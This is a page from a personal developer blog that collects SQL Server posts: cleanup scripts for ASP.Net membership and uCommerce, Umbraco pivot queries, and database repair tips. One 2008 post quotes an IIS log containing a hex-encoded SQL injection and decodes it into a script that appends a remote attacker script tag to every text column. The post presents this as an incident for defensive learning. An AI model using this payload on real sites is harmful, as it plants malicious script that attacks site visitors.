Tim

Footprints in the snow of a warped mind

SQLServer

Where to find me

Flickr Icon  Twitter Icon  Linked In Icon  FaceBook Icon  Windows Live Alerts Butterfly  RSS 2.0 

The Site Doctor is Hiring!

Enjoy what you read here?
Think you can do better?
Join our team and get paid
up-to £35,000.
Apply now.

Tag Cloud

AJAX (4) Analysis (3) ASP (6) ASP.Net (59) Error Reporting (4) Web Service (2) WSDL (1) Atlas (2) Azure (1) Born In The Barn (1) Business (95) Business Start-up Advice (37) Client (17) Expanding Your Business (24) Recruitment (1) C# (25) Canoeing (4) Canoe Racing (5) Cheshire Ring Race (5) Racing (2) Training (4) Christmas (1) CIMA (1) Cisco (1) 7970G (1) CMS (1) Code Management (1) Cohorts (4) Commerce4Umbraco (1) Content (1) Content Management (1) Content Management System (1) CSS (4) dasBlog (5) DDD (2) DDDSW (1) Design (12) Icons (1) Development (28) Domain Names (1) eCommerce (13) Email (1) Employment (2) Festive Sparkle (1) General (39) Christmas (6) Fun and Games (11) Internet (22) Random (46) RX-8 (8) Git (2) Google (1) Google AdWords (1) Google Analytics (1) Hacking (1) Helpful Script (3) Home Cinema (2) Hosting (2) HTML (3) IIS (11) iPhone (1) JavaScript (5) jQuery (2) LINQPad (1) Marketing (6) Email (1) Multipack (1) MVC (3) Networking (3) Nintendo (1) Nuget (1) OS Commerce (1) Payment (1) Photography (1) PHP (1) Plugin (1) PowerShell (3) Presentation (1) Press Release (1) Productivity (3) Random Thought (1) Script (2) Security (2) SEO (6) Server Maintenance (7) Server Management (12) Social Media (2) Social Networking (3) Experiment (1) Software (11) Office (5) Visual Studio (14) Windows (6) Vista (1) Source Control (2) SQL (13) SQL Server (19) Starting Something New (2) Statistics (2) Stored Procedure (1) Sublime Text 2 (1) SVN (1) TeaCommerce (1) Testing (2) The Cloud (1) The Site Doctor (140) Turnover Challenge (1) Twitter (3) uCommerce (20) Umbraco (37) 2009 (1) 2011 (1) Useful Script (6) Virtual Machine (1) Web Development (72) WebDD (33) Wii (1) Windows Azure (1) XSLT (1)

Blog Archive

Search

<July 2014>
SunMonTueWedThuFriSat
293012345
6789101112
13141516171819
20212223242526
272829303112
3456789

Recent Comments

Blog Archive

Various Links

Google+

Blogs I Read

[Feed] Google Blog
Official Google Webmaster Central Blog
[Feed] Matt Cutts
Gadgets, Google, and SEO
[Feed] Ol' Deano's Blog
My mate Dean's blog on my space, equally as random as mine but not off on as much of a tangent!
[Feed] Sam's Blog
Sam is one of my younger brothers studying Product Design and Manufacture at Loughborough, this is his blog :) Enjoy!

Disclaimer
The opinions expressed herein are my own personal opinions and do not represent my employer's view in any way.

newtelligence dasBlog 2.2.8279.16125

Send mail to the author(s) Email Me (Tim Gaunt)

© 2014 Tim Gaunt.

Sign In

    # Wednesday, December 22, 2010

    How to: Remove all users from the ASP.Net Membership database by application name

    Wednesday, December 22, 2010 7:08:47 PM (GMT Standard Time, UTC+00:00)

    delete_key[1]A while ago I wrote about How to: Remove users from the ASP.Net membership database which showed you how to remove a single user from the ASP.Net membership database from SQL Management Studio. That's great when you're deleting one or two users but what if you're testing and need to delete all users associated with an application?

    There's a little more work involved with that one but it's not too difficult, rather than passing in the member's id, you pass in the ApplicationName (same as you set in your web.config) and it will find the various users that match and remove them for you.

    USE DatabaseName --This should be your database name
    GO
    
    BEGIN TRANSACTION
    
    DECLARE @ApplicationName nvarchar(256)
    SET @ApplicationName = '##YOUR APPLICATION NAME -AS SET IN THE WEB.CONFIG ##'
    
    --Lowercase it so it matches LoweredApplicationName exactly 
    SET @ApplicationName = LOWER(@ApplicationName)
    
    --Values in the aspnet_Profile table
    DELETE p
    FROM
    	dbo.aspnet_Applications a 
    		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
    		INNER JOIN dbo.aspnet_Profile p ON u.UserId = p.UserId
    WHERE a.LoweredApplicationName = @ApplicationName
    
    --Values in the aspnet_UsersInRoles table
    DELETE r
    FROM
    	dbo.aspnet_Applications a 
    		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
    		INNER JOIN dbo.aspnet_UsersInRoles r ON u.UserId = r.UserId
    WHERE a.LoweredApplicationName = @ApplicationName
    
    --Values in the aspnet_PersonalizationPerUser table
    DELETE p
    FROM
    	dbo.aspnet_Applications a 
    		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
    		INNER JOIN dbo.aspnet_PersonalizationPerUser p ON u.UserId = p.UserId
    WHERE a.LoweredApplicationName = @ApplicationName
    
    --Values in the aspnet_Membership table
    DELETE m
    FROM
    	dbo.aspnet_Applications a 
    		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
    		INNER JOIN dbo.aspnet_Membership m ON u.UserId = m.UserId
    WHERE a.LoweredApplicationName = @ApplicationName
    
    --Values in the aspnet_users table
    DELETE u
    FROM dbo.aspnet_Applications a INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
    WHERE a.LoweredApplicationName = @ApplicationName
    
    ROLLBACK TRANSACTION
     

    Don't forget to follow me on Twitter.

    # Tuesday, December 14, 2010

    SQL Server: Warning: Fatal error 823 occurred at date / time Note the error and time, and contact your system administrator.

    Tuesday, December 14, 2010 12:46:42 PM (GMT Standard Time, UTC+00:00)

    error[2]We were contacted the other day by a client with issues selecting data from one of their tables after a recent server crash (not running on our servers or a site that we were involved in developing). The issue was easy enough to recreate as you just needed to select records after the server crash and you'd get the error:

    Warning: Fatal error 823 occurred at date / time Note the error and time, and contact your system administrator.

    A quick Google suggests a physical disk drive error and having a quick look at the issues it wasn't pretty. Running:

    DBCC CHECKDB('DatabaseName') WITH NO_INFOMSGS, ALL_ERRORMSGS

    Resulted in:

    Msg 8909, Level 16, State 1, Line 5 
    Table error: Object ID 0, index ID 12341, page ID (1:5880). The PageId in the page header = (9728:16777220). 
    CHECKTABLE found 0 allocation errors and 1 consistency errors not associated with any single object. 
    
    
    ....
    
    
    DBCC results for 'TableName'. 
    Msg 8928, Level 16, State 1, Line 5 
    Object ID 871674153, index ID 0: Page (1:5880) could not be processed. See other errors for details. 
    
    
    ....
    
    
    There are 20993 rows in 584 pages for object 'TableName'. 
    CHECKTABLE found 0 allocation errors and 8 consistency errors in table 'TableName' (object ID 871674153). 
    Msg 8909, Level 16, State 1, Line 5 
    Table error: Object ID 1109413712, index ID 24940, page ID (1:5883). The PageId in the page header = (25198:1632843825). 
    CHECKTABLE found 0 allocation errors and 1 consistency errors in table '(Object ID 1109413712)' (object ID 1109413712). 

    Most of the solutions found on Google resulted in some form of system restore but that's no good in this instance as the backups only existed for after the problem was identified (great eh!) so were useless.

    Although it's not an ideal solution, you can use DBCC CHECKTABLE which in our case fixed the issue:

    --Put the database into single user mode
    ALTER DATABASE [DatabaseName] SET SINGLE_USER WITH NO_WAIT
    --Check the erors and fix any issues found (that you can)
    DBCC CHECKTABLE ('Orders', REPAIR_REBUILD)
    --Put the database back into multiuser mode
    ALTER DATABASE [DatabaseName] SET MULTI_USER WITH NO_WAIT

     

    I'd be interested to know other solutions people may have to this issue.

    Note to readers: Check that your hosting provider performs regular backups and checks the health of your server regularly to avoid this happening to you.

     

    Don't forget to follow me on Twitter.

    # Tuesday, November 09, 2010

    Download any Umbraco document type’s values as crosstab/Excel table

    Tuesday, November 09, 2010 9:16:24 PM (GMT Standard Time, UTC+00:00)

    imageIn a follow up to my post yesterday -How to download Umbraco content properties into a crosstab table this is the follow up SQL Script that makes it even easier to download any Umbraco document type into Excel.

    This SQL Script is fairly simple, basically what it does is it gets the properties associated with the specified document type and then pivots the values so you end up with a table of data that looks like this:

    Id Property 1 Property 2 Property 3 Property n
    123 String Int Date xxx

    How to use the script

    All you need to do is set the parameter "@ContentTypeId" to the document type you want (as in my previous post you can get this by checking out the link on the document type).

    Once you set the id, just run the script and voila there's the data.

    If you run the code and get "Command(s) completed successfully" then you've not set the id right so double check and try again.

    The Script

    DECLARE @cols NVARCHAR(max), @ContentTypeId int
    SET @ContentTypeId = 1074
    
    SELECT  @cols = STUFF(( 
    	SELECT DISTINCT TOP 100 PERCENT
            '],[' 
            + CONVERT(varchar, Name + ' (' + CONVERT(varchar, id) + ')', 255)
        FROM
    		dbo.cmsPropertyType
    	WHERE
    		contentTypeId = @ContentTypeId
        ORDER BY
            '],[' 
            + CONVERT(varchar, Name + ' (' + CONVERT(varchar, id) + ')', 255)
        FOR XML PATH('')
    ), 1, 2, '') + ']'
    --SELECT  @cols
    
    DECLARE @query NVARCHAR(max)
    SET @query = N'SELECT Id, ' + @cols + '
    FROM
      (
    		SELECT
    			CONVERT(varchar, t.Name + '' ('' + CONVERT(varchar, t.id) + '')'', 255) As [PropId],
    			contentNodeId As [Id],
    			ISNULL(dataNvarchar, ISNULL(CONVERT(varchar, dataDate), ISNULL(CONVERT(varchar, dataInt), dataNtext))) As [Value]
    		FROM
    			dbo.cmsPropertyType t LEFT JOIN dbo.cmsPropertyData d ON t.id = d.propertytypeid
    		WHERE
    			contentTypeId = ' + CONVERT(varchar, @ContentTypeId) + ' 
    ) p
    PIVOT
    (
    	MAX(Value) 
    	FOR PropId IN ( '+ @cols +' )
    ) AS pvt
    ORDER BY Id ASC'
    
    --PRINT(@query)
    EXECUTE(@query)
     

    Don't forget to follow me on Twitter.

    # Monday, November 08, 2010

    Download Umbraco content properties into a crosstab table

    Monday, November 08, 2010 4:37:19 PM (GMT Standard Time, UTC+00:00)

    Have you ever needed to get a download of your Umbraco content nodes in a cross-tab query e.g. download contact form data from Doc2Form? Using Umbraco's Contour product makes this a breeze but what about older systems? Thankfully, it's not actually that difficult.

    We have a contact us form on one of our sites which uses an old version of Doc2Form which emails the customer details of the enquiry. One benefit is it also saves it to the recycle bin as a document with the name: "RE: SYSTEM DATA: umbraco master root". With that in mind, we can use SQL Server's PIVOT functionality to pull the data out in a nicely formatted manner.

    Firstly you'll need to know the id's of the document type's properties, there are numerous ways to do this:

    1. Just look at the cmsPropertyData table for a couple of content nodes (I could spot the ones I was after fairly easily)

     

    2. Query the cmsPropertyType table:

    Find the contentTypeId of the document type -you can do this by hovering your mouse over the document type in the tree and checking out the status bar (you can see the contentTypeId in brackets in the bottom left -mine here is 1074):

    image

    Once you have the contentTypeId of the document type, you can then get the ids of all the properties you're after by replacing "xxx" with your property id in the following script:

    SELECT * FROM dbo.cmsPropertyType WHERE contentTypeId = xxx

    3. Get it from the source of the document type editor

    An alternative way is to examine the HTML of the Document Type editor. If you view the source on the "Generic Properties" tab and scroll to the section you're interested in (there'll be a h2 with the same name) you will find a ul that has the class of "genericPropertyList".

    Each li of that ul will have the relevant id as part of it's id e.g. for a section called "Enquiry Form" the id will be: "EnquiryFormContents_49" where "49" is the id we're interested in. You can see mine (49, 50, 51 and 52 below):

    image

    Once you have these ids to hand (mine were 49, 50, 51 and 52) you just need to update the code below and run against your Umbraco database:

    SELECT
    	contentNodeId As [Id], 
    	[49] As [Name], 
    	[50] As [Telephone], 
    	[51] As [Email Address], 
    	[52] As [Notes]
    FROM
    (
    	SELECT contentNodeId, propertytypeid, ISNULL(dataNvarchar, dataNtext) As [Value]
    	FROM dbo.cmsPropertyData
    ) As src
    PIVOT (
    	MAX(Value) 
    	FOR propertytypeid in ([49], [50], [51], [52])
    ) aS pvt
    WHERE [50] IS NOT NULL OR [51] IS NOT NULL
    ORDER BY contentNodeId

     

    That will then produce some lovely formatted data for you, my example above produced:

    Id Name Telephone Email Address Notes
    1154 Example 01234567890 test@test.com Please contact me as soon as possible about your great site, thanks.

     

    It's also possible to automate this entire script so you don't need to find out the property ids, I'll post that separately.

     

    Don't forget to follow me on Twitter.

    # Monday, October 04, 2010

    Delete all UCommerce baskets older than x days

    Monday, October 04, 2010 10:14:31 AM (GMT Daylight Time, UTC+01:00)

    After my last UCommerce post on how to delete test orders and baskets from UCommerce, Søren suggested I extended the delete all baskets code to take into account when it was created. As my last code was relating to deleting test orders/baskets (and so would want to get rid of them all), I decided to post this one separately.

    Delete all baskets older than x days

    To use this, all you need to do is change the @addedBefore parameter to whatever date/time you want (or just adjust the –7 which represents seven days in the past.

    --Delete all carts purchaseorders and associated data within x days
    DECLARE @addedBefore smalldatetime
    --By default the script deletes everything older than 7 days
    SET @addedBefore = DATEADD(dd, -7, GETDATE())
    
    BEGIN TRAN
    
    UPDATE uCommerce_PurchaseOrder SET BillingAddressId = NULL WHERE OrderNumber IS NULL AND CreatedDate <= @addedBefore
    DELETE a FROM uCommerce_Shipment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
    DELETE a FROM uCommerce_OrderAddress a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
    DELETE a FROM uCommerce_OrderProperty a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
    DELETE a FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
    DELETE a FROM uCommerce_Payment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
    DELETE a FROM uCommerce_OrderStatusAudit a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
    DELETE FROM uCommerce_PurchaseOrder WHERE OrderNumber IS NULL AND CreatedDate <= @addedBefore
    
    --Uncomment this
    --COMMIT TRAN
    
    --And comment out this
    ROLLBACK TRAN
     

    Don't forget to follow me on Twitter.

    # Friday, October 01, 2010

    Deleting test orders and baskets from uCommerce

    Friday, October 01, 2010 12:53:43 PM (GMT Daylight Time, UTC+01:00)

    Although Søren has posted a helpful post on how to delete entire purchase orders from the database here, we needed something a little less “all or nothing” so put the below together.

    Delete a specific order id

    --Delete purchaseorders and associated data based on order id
    DECLARE @OrderNumber nvarchar(50)
    SET @OrderNumber = 'TEST-40'
    
    BEGIN TRAN
    
    UPDATE a SET ShipmentId = NULL FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    UPDATE uCommerce_PurchaseOrder SET BillingAddressId = NULL WHERE OrderNumber = @OrderNumber
    DELETE a FROM uCommerce_Shipment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    DELETE a FROM uCommerce_OrderAddress a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    DELETE a FROM uCommerce_OrderProperty a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    DELETE a FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    DELETE a FROM uCommerce_Payment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    DELETE a FROM uCommerce_OrderStatusAudit a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
    DELETE FROM uCommerce_PurchaseOrder WHERE OrderNumber = @OrderNumber
    
    --TODO: Expand this so it checks for other orders
    --DELETE a FROM uCommerce_Address a INNER JOIN uCommerce_PurchaseOrder b ON a.CustomerId = b.CustomerId WHERE b.OrderNumber = @OrderNumber
    --DELETE a FROM uCommerce_Customer a INNER JOIN uCommerce_PurchaseOrder b ON a.CustomerId = b.CustomerId WHERE b.OrderNumber = @OrderNumber
    
    --Uncomment this
    --COMMIT TRAN
    
    --And comment out this
    ROLLBACK TRAN

     

     

    Delete all baskets

    --Delete all carts purchaseorders and associated data
    
    BEGIN TRAN
    
    UPDATE a SET ShipmentId = NULL FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE OrderNumber IS NULL
    UPDATE uCommerce_PurchaseOrder SET BillingAddressId = NULL WHERE OrderNumber IS NULL
    DELETE a FROM uCommerce_Shipment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
    DELETE a FROM uCommerce_OrderAddress a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
    DELETE a FROM uCommerce_OrderProperty a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
    DELETE a FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
    DELETE a FROM uCommerce_Payment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
    DELETE a FROM uCommerce_OrderStatusAudit a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
    DELETE FROM uCommerce_PurchaseOrder WHERE OrderNumber IS NULL
    
    --TODO: Expand this so it checks for other orders
    --DELETE a FROM uCommerce_Address a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.NULL = @NULL
    --DELETE a FROM uCommerce_Customer a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.NULL = @NULL
    
    
    --Uncomment this
    --COMMIT TRAN
    
    --And comment out this
    ROLLBACK TRAN

     

    Update: At the request of Søren, I’ve altered the delete all baskets post so it allows you to delete all baskets older than a given date, see: Delete all UCommerce baskets older than x days

     

    Don't forget to follow me on Twitter.

    # Friday, February 19, 2010

    Search every table and field in a SQL Server Database Updated

    Friday, February 19, 2010 12:07:28 PM (GMT Standard Time, UTC+00:00)

    As some of my blog posts are a little out of date, I thought I would spend some time updating the most popular ones. As I use this script on a regular basis and there was an error with the original posting, I thought I'd update it with a "corrected" version to get things started.

    If you want to see the original script, you can refer to How to search every table and field in a SQL Server Database. This one's just fixed :)

    As a stand alone script

    DECLARE @SearchStr nvarchar(100)
    SET @SearchStr = '## YOUR STRING HERE ##'
    
    
        -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
        -- Purpose: To search all columns of all tables for a given search string
        -- Written by: Narayana Vyas Kondreddi
        -- Site: http://vyaskn.tripod.com
        -- Updated and tested by Tim Gaunt
        -- http://www.thesitedoctor.co.uk
        -- http://blogs.thesitedoctor.co.uk/tim/2010/02/19/Search+Every+Table+And+Field+In+A+SQL+Server+Database+Updated.aspx
        -- Tested on: SQL Server 7.0, SQL Server 2000, SQL Server 2005 and SQL Server 2010
        -- Date modified: 03rd March 2011 19:00 GMT
        CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
    
        SET NOCOUNT ON
    
        DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
        SET  @TableName = ''
        SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
    
        WHILE @TableName IS NOT NULL
        
        BEGIN
            SET @ColumnName = ''
            SET @TableName = 
            (
                SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
                FROM     INFORMATION_SCHEMA.TABLES
                WHERE         TABLE_TYPE = 'BASE TABLE'
                    AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND    OBJECTPROPERTY(
                            OBJECT_ID(
                                QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                 ), 'IsMSShipped'
                                   ) = 0
            )
    
            WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
                
            BEGIN
                SET @ColumnName =
                (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM     INFORMATION_SCHEMA.COLUMNS
                    WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                        AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                        AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                        AND    QUOTENAME(COLUMN_NAME) > @ColumnName
                )
        
                IF @ColumnName IS NOT NULL
                
                BEGIN
                    INSERT INTO #Results
                    EXEC
                    (
                        'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) FROM ' + @TableName + ' (NOLOCK) ' +
                        ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                    )
                END
            END    
        END
    
        SELECT ColumnName, ColumnValue FROM #Results
    
    DROP TABLE #Results

    As a re-usable stored procedure

    CREATE PROC SearchAllTables
    (
        @SearchStr nvarchar(100)
    )
    AS
    
    BEGIN
    
        -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
        -- Purpose: To search all columns of all tables for a given search string
        -- Written by: Narayana Vyas Kondreddi
        -- Site: http://vyaskn.tripod.com
        -- Updated and tested by Tim Gaunt
        -- http://www.thesitedoctor.co.uk
        -- http://blogs.thesitedoctor.co.uk/tim/2010/02/19/Search+Every+Table+And+Field+In+A+SQL+Server+Database+Updated.aspx
        -- Tested on: SQL Server 7.0, SQL Server 2000, SQL Server 2005 and SQL Server 2010
        -- Date modified: 03rd March 2011 19:00 GMT
        CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
    
        SET NOCOUNT ON
    
        DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
        SET  @TableName = ''
        SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
    
        WHILE @TableName IS NOT NULL
        
        BEGIN
            SET @ColumnName = ''
            SET @TableName = 
            (
                SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
                FROM     INFORMATION_SCHEMA.TABLES
                WHERE         TABLE_TYPE = 'BASE TABLE'
                    AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND    OBJECTPROPERTY(
                            OBJECT_ID(
                                QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                 ), 'IsMSShipped'
                                   ) = 0
            )
    
            WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
                
            BEGIN
                SET @ColumnName =
                (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM     INFORMATION_SCHEMA.COLUMNS
                    WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                        AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                        AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                        AND    QUOTENAME(COLUMN_NAME) > @ColumnName
                )
        
                IF @ColumnName IS NOT NULL
                
                BEGIN
                    INSERT INTO #Results
                    EXEC
                    (
                        'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) FROM ' + @TableName + ' (NOLOCK) ' +
                        ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                    )
                END
            END    
        END
    
        SELECT ColumnName, ColumnValue FROM #Results
        DROP TABLE #Results
    END
     

    Don't forget to follow me on Twitter.

    # Thursday, May 29, 2008

    A seriously elegant SQL Injection -how it was sorted

    Thursday, May 29, 2008 3:32:33 PM (GMT Daylight Time, UTC+01:00)

    Doug Setzer posted this comment in response to my recent "A seriously elegant SQL Injection" post and I thought it may be of interest to others so have promoted it to a post...


    Well, I'll step up and say that I am the "mate" who had this done.  Tim's right - *always* sanitize your inputs.  In my defence, this was a site that I inherited from a previous contractor.  I'm not entirely absent of blame, I still should have done a security sweep through the code.

    I'd like to document the steps that I went through once this was identified to try and avoid this kind of thing in the future.

    1. Edit every web page that executes a query to sanitize any parameters that are passed in.  Since the site was classic ASP, I used my "SQLStringFieldValue" function:
      www.27seconds.com/kb/article_view.aspx?id=50
    2. Modify the DB user account that is used to have *read only* access to the database
    3. Modify the pages that DO write to the database to have *read/write* access to the specific tables that are being changed.  This limits the number of places that SQL Injection can occur to a smaller set than was previously possible.  I still sanitize all of my input, but I'm extra spastic in these database calls.
    4. Add database auditing (triggers writing to mirror tables with audit event indicator & date/time) to see when data changes occur.  This is still problematic with the pages that have "write" permissions to the tables, but again- that footprint is much smaller.
      My future plans are to move to a view/stored procedure based architecture.  I can then limit write permissions to just the stored procedures and read permissions to just the views.  My grand gusto plans are to move to using command objects & parameters, but I'd sooner re-write the entire site.

    Although Doug's attack wasn't the same nihaorr1.com attack that's going around atm it was similar so I would imagine other's will find this useful.

    It still amazes me how many developers still fail to sanitise strings, only last week I came across another site (in PHP) that was allowing simple SQL injections to be used to log into their administration system. It was down to a problem with the sanitization string, but why not at least check your site before it goes live? It takes 2 minutes and even less to fix...

    For those of you who need a few pointers, there's a good discussion or two about sanitising strings on the 4 Guys From Rolla site.

     

    Don't forget to follow me on Twitter.

    # Wednesday, May 28, 2008

    A seriously elegant SQL Injection

    Wednesday, May 28, 2008 5:46:49 PM (GMT Daylight Time, UTC+01:00)

    Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...

    This is an extract from the IIS log file:

    2008-05-20 21:21:28 W3SVC1 xxx.xxx.xxx.xxx POST /news_detail.asp newsID=37;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0039006900350074002E0063006E002F0061002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 80 - 221.130.180.215 Mozilla/3.0+(compatible;+Indy+Library) - www.domain.com 200 0 0

    This works out to:

    DECLARE @T varchar(255), @C varchar(255) 
    DECLARE Table_Cursor
    CURSOR FOR 
    select
        a.name,b.name 
    from
        sysobjects a,syscolumns b 
    where 
        a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

    OPEN Table_Cursor 
    FETCH NEXT 
    FROM  Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0)

        BEGIN
            exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://hackersscriptdomain.cn/a.js></script>''')
            FETCH NEXT FROM  Table_Cursor INTO @T,@C 
        END 
    CLOSE Table_Cursor 

    DEALLOCATE Table_Cursor

    Very nice :) (though I can't condone hacking -no matter how elegant it is!)

    p.s. The moral of the story is Always sanitise your strings -it's easy!

     

    Don't forget to follow me on Twitter.

    # Wednesday, May 14, 2008

    Native client cannot be found while installing SQL Server 64

    Wednesday, May 14, 2008 9:03:44 PM (GMT Daylight Time, UTC+01:00)

    We're having fun and games with the new internal dev server. We've got for Windows Server 2008 x64 for a laugh and today was a corker, while trying to install SQL Server 2005 x64 onto the box we repeatedly got an error along the lines of "native client cannot be found sqlncli_x64.msi".

    Searching around the install DVD/files didn't reveal anything useful, turns out (after a little Googeling) that Microsoft install the wrong version of the SQL Server Native client tools as part of the prerequisites -instead of the 64bit version you'd expect, they go and install the 32bit which then makes the rest of the installer complain...

    Classic! Anyway, thanks to Eric Falsken for the heads up on that error...

     

    Don't forget to follow me on Twitter.

    # Tuesday, April 15, 2008

    SQL Server Management Studio won't install over SQL Server Management Studio Express

    Tuesday, April 15, 2008 8:12:20 PM (GMT Daylight Time, UTC+01:00)

    Since re-installing my main development machine recently, I've had a real irritation -I had to resort to SQL Server Management Studio Express as I couldn't get the full version installed. This wasn't a problem until today when I had to re-create some full text catalogs (which is one of the things you can't do using the GUI in SQL Server Management Studio Express).

    I did look into getting this working before giving up before due to time constraints but this time I had no choice but this time I must have done something differently.

    Just to bring you up-to speed, whenever I tried to install SQL Server Management Studio using the SQL Server 2005 installer, I got an error message something along the lines of "Edition Version Conflict". The installer then suggests you uninstall the express tools (which you do) and you try again just to get the same error message.

